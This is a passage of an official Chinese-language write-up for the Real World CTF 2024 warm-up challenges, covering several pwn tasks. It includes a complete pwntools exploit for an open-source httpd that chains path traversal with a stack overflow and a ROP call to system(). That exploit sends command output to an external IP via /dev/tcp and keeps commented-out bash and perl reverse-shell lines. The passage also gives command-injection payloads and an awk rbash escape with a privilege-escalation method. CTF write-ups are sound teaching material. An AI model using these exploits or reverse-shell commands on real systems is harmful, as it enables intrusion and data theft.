  len = strlen(s2);    if ( len )    {      v7 = 0;      v10 = support_command_list[0];      while ( strncmp(v10, s2, len) )      {        v10 = support_command_list[++v7];        if ( !support_command_list[v7] )        {          strcpy(a2, "Not Support 4. n");          return __readfsqword(0x28u) ^ v23;        }      }

其中 s2 是用户的输入, 因此会发现strncmp的第三个参数也是用户可控的,因此这里有个经典的截断问题。当我们输入 sh的时候, 会出现这样的情况: strncmp(“showKey”, “sh”, 2), 因此我们可以通过如下的方法获取 flag

sh -c “cat ./flag”

此外我们发现有些选手用了 date -f /flag 的方法读到了 flag。



11
Be-an-HTTPd-Hacker



Pwndifficulty:Normal


这个题目直接使用了开源代码https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞:

1.  跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接,通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag,但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。

// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69    strcpy(fileBuffer, WWW_ROOT);    // Arquivo do request  if(req.uri) {    strcat(fileBuffer, req.uri);    }  // Se terminado em /, abre o arquivo padrao  if(strcmp(&fileBuffer[strlen(fileBuffer)-1], "/") == 0) {    strcat(fileBuffer,"index.html");  }  // Verifica se arquivo existe no servidor  if(stat(fileBuffer, &st) == -1) {    res.status = 404; // File not Found    res.fileName = "404.html";  } else {    res.status = 200; // ok    res.fileName = fileBuffer;  }

2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照<tr><td>%s</td>和<td>%s</td></tr>的格式进行扩展,然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE,但多次循环、经过扩展后最终的长度可以超过MAXLINE,发生栈溢出。

// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183    char buffer[MAXLINE];  //Prepara cabecalho HTML  sprintf(buffer, "<html><head><title>Submitted Form</title></head>");  //Cria body  strcat(buffer, "<body><h1>Received variables</h1><br><table>");  strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");    char * pch;    char temp[250];  pch = strtok (linePost,"&=");  while (pch != NULL)  {    sprintf(temp, "<tr><td>%s</td>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");    sprintf(temp, "<td>%s</td></tr>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");  }

两个漏洞连用,攻击者可以实现任意代码执行。exploit代码如下:

#!/usr/bin/env python3from pwn import *import syscontext.arch = "i386"context.log_level = "debug"elf = ELF("./httpd", checksec = False)libc = ELF("./libc.so.6", checksec=False)# libc = elf.libchost = "127.0.0.1"#port = 39188port = int(sys.argv[1])def retrieve_file(path):    payload = f'''GET /../../../../../../../../../../../..{path} HTTP/1.1rnrn'''    io = remote(host, port)    io.send(payload.lstrip().encode("latin-1"))    cont = io.recv()    if b'HTTP/1.1 200 OKrn' in cont:        cont = io.recv()    io.close()    return contdef leak():    for pid in range(0, 200):        elf_path = b"/home/httpd"        libc_path = b"usr/lib/i386-linux-gnu/libc.so.6"        file = f"/proc/{pid}/maps"        cont = retrieve_file(file)        # print(cont)        try:            maps = cont.split(b"rnrn")[1]            # print(maps)            # breakpoint()            if elf_path in maps:                # print("find {}".format(pid))                heap = 0                stack = 0                for line in maps.split(b"n"):                    address_range, permissions, offset, device, inode, mapped_file = line.split()[:6] if len(line.split()) >= 6 else (b"", b"", b"", b"", b"", b"")                    if heap == 0 and b"[heap]" in mapped_file:                        heap = int(address_range.split(b"-")[0], 16)                        print("heap @ {:#x}".format(heap))                        continue                    if stack == 0 and b"[stack]" in mapped_file:                        stack = int(address_range.split(b"-")[0], 16)                        print("stack @ {:#x}".format(stack))                        continue                    if elf.address == 0 and elf_path in mapped_file:                        elf.address = int(address_range.split(b"-")[0], 16)                        # breakpoint()                        print("elf @ {:#x}".format(elf.address))                        continue                    if libc.address == 0 and libc_path in mapped_file:                        libc.address = int(address_range.split(b"-")[0], 16)                        print("libc  @ {:#x}".format(libc.address))                        # breakpoint()                        continue                    if (heap & stack & elf.address & libc.address) != 0:                        return (heap, stack)        except:            print("error")            continue    else:        print("not found")        exit(-1)def overflow(addrs):    heap, stack = addrs    io = remote(host, port)    # 0x30 + 0x2c + 0x2a = 0x86    # 0xf: '<tr><td>nk</td>'    # 0xf: '<td>v</td></tr>'    # 0xe: '<tr><td>k</td>'    # 0xf: '<td>v</td></tr>'    padding =  b"k=v&" * 0x88 # 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfef    padding += b"p=" # 0xfef + 0xe("<tr><td>p</td>") + 0x4("<td>") = 0x1001    '''-00001028 buffer db 4096 dup(?)-00000028 res_1 response ?-0000001C var_1C dd ?-00000018 req_1 request ?-0000000C var_C db 12 dup(?)+00000000  s db 4 dup(?)+00000004  r db 4 dup(?)+00000008 arg_0 request ?+00000014 arg_C response ?+00000020 connfd dd ?+00000024 linePost dd ?    '''    '''/*** Estrutura da resposta.* @status: id do status de retorno* @vProtocol: Versao do protocolo HTTP* @fileName: Nome do arquivo em disco da requisicao*/typedef struct {  int status;  char *vProtocol;  char *fileName;} response;    '''    payload =  b'111' # res.status    payload += flat(elf.address + 0x306b) # res.vProtocol    payload += flat(stack + 0x1c29c) # res.fileName    payload += b'aaaa' # padding    '''/*** Estrutura da requisição.* @method: Tipo de requisicao (GET/POST)* @uri: Endereco para arquivo no servidor* @vProtocol: Versao do protocolo HTTP*/typedef struct {  char *method;  char *uri;  char *vProtocol;} request;    '''    payload += flat(elf.address + 0x3008) # req.method    payload += flat(stack + 0x191fc) # req.uri    payload += flat(elf.address + 0x305c) # req.vProtocol    payload += b'bbbbbbbbbbbb' # padding    payload += b'cccc' # ebp    # ropchain = flat(0xdeadbeef)    # ropchain += cyclic(0x20)    ropchain = flat([        libc.sym["system"],        0x12345678,        #stack + stack_offset,        #stack + 0x1c4e8,        #heap + 0x81a        heap + 0x141a        #0x57c7381a    ])    # cmd = b"""perl -MIO::Socket::INET -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:54321");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';#"""    # https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc    # cmd = br"""echo -e 'bash -c "exec bash -i x26>/dev/tcp/127.0.0.1/54321 <x261"' > /tmp/1;sh /tmp/1;#"""    # cmd = br"""printf '/bin/bash -c "exec bash -i x26>/dev/tcp/123.57.212.189/54321 <x261"' > /tmp/1;sh /tmp/1;#"""    cmd = br"""printf '/bin/bash -c "exec /readflag > /dev/tcp/123.57.212.189/54321 "' > /tmp/1;sh /tmp/1;#"""    # cmd = b"""id > /tmp/123;#"""    payload += ropchain # ret addr    payload += cmd    assert b"n" not in ropchain    assert len(payload) < 250 - 14    raw_payload = padding + payload    buffer =  b"POST /index.html HTTP/1.1rn"    buffer += b"rn"    # buffer =  buffer.ljust(0x1000, b'a')    buffer += raw_payload    buffer += b"rn"    buffer += raw_payload # last line    #print(hexdump(buffer))    assert len(buffer) <= 0x1000    assert b'x00' not in payload    io.send(buffer)    sleep(0.01)    # options = b"x" * 0x1000    # io.send(options)addrs = leak()# print(retrieve_file("/proc/39/maps"))# pause()overflow(addrs)#for stack_offset in range(0x10000, 0x20000):#    try:#        overflow(addrs, stack_offset)#    except Exception as e:#        pass

PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移



12
Be-an-Interpreter-Hacker



Pwn, difficulty:Baby


考察 Ghostscript CVE-2023-28879 的漏洞利用:

漏洞原理:https://offsec.almond.consulting/ghostscript-cve-2023-28879.html

利用 PoC:

https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce



13
ALS



Pwndifficulty:Normal


事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。

https://github.com/wikihost-opensource/als

这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

只是一个降权的rbash,继续查看fakeroot的构建代码可以发现:

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

导入了awk。那接下来就简单了,直接用awk逃rbash。

awk 'BEGIN {system("/bin/sh")}'export PATH=/usr/bin:/bin:/usr/local/bin/

接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

项目给了nexttrace sudo的权限可以以root执行。

接下来就是非预期的部分了。由于时间隔得比较久,加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace –file /root/flag即可

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

接下来来说一说预期的。需要拿root shell才能解的做法:

首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护(虽然非预期了)。

如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。

第一个问题,查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询:

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。

编写ip数据记录并生成数据库。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

可以看到输出中已经有了我们的payload。

【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件(/app/utilities/start_fakeroot.sh)。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。



14
Long Range 2



Miscdifficulty:Baby


作者看到许多选手Writeup写得太好了,实在自愧不如,于是请大家欣赏下几位选手的Writeup(可复制到浏览器查看🔗):
https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/ by The Flat Network Society
https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 by MMM
https://sec.gd/blog/en/posts/long-distance-2/ by WreckTheLine


【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

原文始发于微信公众号(长亭科技):【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上!

版权声明:admin 发表于 2024年2月2日 下午7:22。
转载请注明:【Real World CTF 6th Writeup】就是它!RWCTF 2024体验赛官方Writeup奉上! | CTF导航

相关文章